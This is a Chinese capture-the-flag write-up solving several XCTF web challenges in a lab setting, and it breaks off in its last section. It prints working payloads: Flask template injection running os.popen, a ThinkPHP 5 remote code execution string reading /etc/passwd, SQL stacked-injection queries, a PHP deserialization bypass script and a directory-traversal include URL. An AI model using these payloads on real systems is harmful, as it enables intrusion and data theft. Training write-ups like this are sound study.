0%

攻防世界web高手进阶区(一)

image-20220626134350561

baby_web

想想初始页面是哪个

image-20220625155802774

有提示,初始页是index.php,但是直接在浏览器访问会很快跳转,可以f12,也可以bp抓包都行,这里我直接f12了

image-20220625160026459

flag{very_baby_web}

PHP2

image-20220625155029520

题目是php2,所以就御剑扫一下,得到路径是有/index.php/index.phps,访问一下在phps里面看到了代码

image-20220625155156553

分析一下,首先不能让第一个if语句满足,要对admin进行url编码,然后需要满足第二个if语句,从而得到flag

当传入参数id时,浏览器在后面会对非ASCII码的字符进行一次urlencode编码,运行时会自动进行一次urldecode

因为我们在url连接里直接运行,浏览器会进行一次url解码,所以我们还要进行一次url编码,就是对admin进行两次编码再运行

urldecode(%2561)=%61  
urldecode(%61)=a

所以最后的payload是

?id=%2561dmin

image-20220625155502178

cyberpeace{97dd863245b712ede4c62c9c0acf0ce0}

Training-WWW-Robots

image-20220625155620170

看题目应该也知道需要干啥了,看robots.txt

image-20220625155642461

访问得到flag

cyberpeace{6476bf5f013b5b6852f65b11200c87c1}

ics-06

云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。

image-20220625160213446

花里胡哨,啥都点不了,就那个报表中心可以点

image-20220625160353561

日期填啥都不行,但是看到了路径里的id=1,sql注入也没有,是我想多了,但是真不知道咋写,抓包爆破值看看

image-20220625160729623

果然这么无聊。。。。

image-20220625160755777

Web_python_template_injection

image-20220625160842656

python模板注入(SSTI),这个和python的flask模板漏洞有关,尝试使用flask模板的漏洞试试,构造的payload为:/{{6*6}}

image-20220625161002232

没毛病老铁,就是这个漏洞,再试试查看config文件/{{config}}

image-20220625161210643

可以看到配置文件包也没有被禁用,所以直接查看服务器的本地文件有啥

/{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

class:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
init 初始化类,返回的类型是function
globals[] 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
os.popen() 方法用于从一个命令打开一个管道。

image-20220625161602723

嘿嘿,看到了想要的了

image-20220625161731382

Web_php_unserialize

  • php反序列化
<?php 
class Demo {  // 定义一个名为Demo的类
    private $file = 'index.php'; //变量的属性
    public function __construct($file) {   //这个类使用的类方法_construct函数
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true);   //这个类使用的类方法__destruct函数
    }
    function __wakeup() {           // __wakeup ,这个函数要跳过去,因为他要是执行就会返回到index.php
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php   
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) {      //判断是否传入了参数
    $var = base64_decode($_GET['var']);     //对传入的参数进行加密
    if (preg_match('/[oc]:\d+:/i', $var)) {    //正则检查
        die('stop hacking!'); 
    } else {
        @unserialize($var);    //进行反序列化
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

这里分析一下如何得到最终的flag

第一步我也说了,需要绕过去那个_wakeup函数

**__wakeup()**是在反序列化操作中起作用的魔法函数,当unserialize的时候,会检查是否存在__wakeup()函数,如果存在的话,会优先调用__wakeup()函数。

绕过方法:_wakeup函数漏洞就是与对象的属性个数有关,如果序列化后的字符串中表示属性个数的数字与真实属性个数一致,那么就会调用这个函数,但是如果这个数字大于真实属性的个数,那就会绕过这个函数。

第二步绕过正则检查,否则就直接输出stop了,这个正则检查这句拉出来单独再分析一下

正则匹配的规则是:在不区分大小写的情况下 , 若字符串出现 “o:数字” 或者 "c:数字’ 这样的格式 , 那么就被过滤。很明显,因为 serialize() 的参数为 object ,因此参数类型肯定为对象 " O " , 又因为序列化字符串的格式为 参数格式:参数名长度 , 因此 " O:4 " 这样的字符串肯定无法通过正则匹配

绕过方法:O:+4不会被过滤,且最后的值不会发生变化

第三步绕过就是要是base64加密

绕过方法:直接加密就行。

脚本如下

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

//创建对象
$a = new Demo('fl4g.php');
//对对象1进行序列化
$b = serialize($a);
//绕过正则
$b = str_replace('O:4','O:+4',$b);
//绕过_wakeup函数
$b = str_replace(':1:',':2:',$b);
//base加密
var_dump($b);
var_dump(base64_encode($b));
?>
运行结果
string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="

image-20220625164444504

php_rce

image-20220625164539029

THINKPHP v5框架漏洞

image-20220625164829635

在网上找个exp直接打

Thinkphp5.0.20漏洞

?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
// phpinfo

image-20220625165001784

存在漏洞,利用就完了

?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/etc/passwd //查看敏感文件

image-20220625165128191

image-20220625165215612

supersqli

image-20220625165334545

只有1,2有数据,加就报错

image-20220625165556993

典型sql注入

猜字段

1' order by 2#

image-20220625165725594

1'' union select 1,2#

image-20220625165808025

被过滤了,采用堆叠注入,先查询数据库

1’;show databases;--+

image-20220625170001721

查表

1';show tables;--+

image-20220625170030160

分别查询两个表的字段

1'; show columns from `1919810931114514` ;--+
1’; show columns from words;--+

image-20220625170405564image-20220625170905218

查询字段内容

两种方法

  • 改表名

    根据在words表里发现id字段与查询框里的出的数据类型相同,一个数字,一个字符串,所以猜测默认查询的就是words表,inject(搜索框中)值应该赋给了id
    利用:我们可以将含有flag字段的表命名为word,然后修改字段名字,不就查询到我们想要的结果!(前提是这里rename,alert关键字 没有做过滤)

     ; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50); #
     拆开:
    ;  alter tables words rename to words1; 
    ;  alter tables `1919810931114514` rename to words ;
    ;  alter tables words change flag id varchar(50); #

    查看flag:

    1' or 1=1 #  //即可得到
  • 预编译

    payload

1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#

';sEt @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’); 进行预编译
prEpare stmt from @sql; 设置变量
EXECUTE stmt;# 执行

flag{c168d583ed0d4d7196967b28cbd0b5e9}

warmup

image-20220625171823805

啥也没有,看源码

image-20220625171841977

得到提示,访问/source.php,得到代码

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

有个hint.php,访问一下

image-20220625172041581

分析源码

if (! empty($_REQUEST['file'])
       && is_string($_REQUEST['file'])
       && emmm::checkFile($_REQUEST['file'])
   ) {
       include $_REQUEST['file'];
       exit;
   } else {
       echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
   }

empty() 函数用于检查一个变量是否为空。
empty() 判断一个变量是否被认为是空的。当一个变量并不存在,或者它 的值等同于 FALSE,那么它会被认为不存在。

发现最底部的if语句为执行条件,有三个条件,第一个判断文件不能为空(检查是否传了file参数),第二这个传的参数是字符串,第三要过白名单检测,过了之后包含 隐藏了flag的文件。再看上面的if语句,白名单是hint.php,又有mb_strpos和mb_substr截取内容,所以只需要输入 source.php?file=source.php?即可绕过白名单检测,然后在输入…/逐级跳转目录读取flag即可,可以一个一个试

image-20220625172424490

http://111.200.241.244:54166/source.php?file=source.php?../../../../../ffffllllaaaagggg

参考:

warmup

NewsCenter

image-20220625172907213

环境有点问题,没做

NaNNaNNaNNaN-Batman

附件题

<script>_='function $(){e=getEleById("c").value;length==16^be0f23233ace98aa$c7be9){tfls_aie}na_h0lnrg{e_0iit\'_ns=[t,n,r,i];for(o=0;o<13;++o){   [0]);.splice(0,1)}}}	\'<input id="c">< onclick=$()>Ok</>\');delete _var ","docu.)match(/"];/)!=null=["	write(s[o%4]buttonif(e.ment';for(Y in $='	')with(_.split($[Y]))_=join(pop());eval(_)</script>

这是附件内容,当我看到

制作不易,如若感觉写的不错,欢迎打赏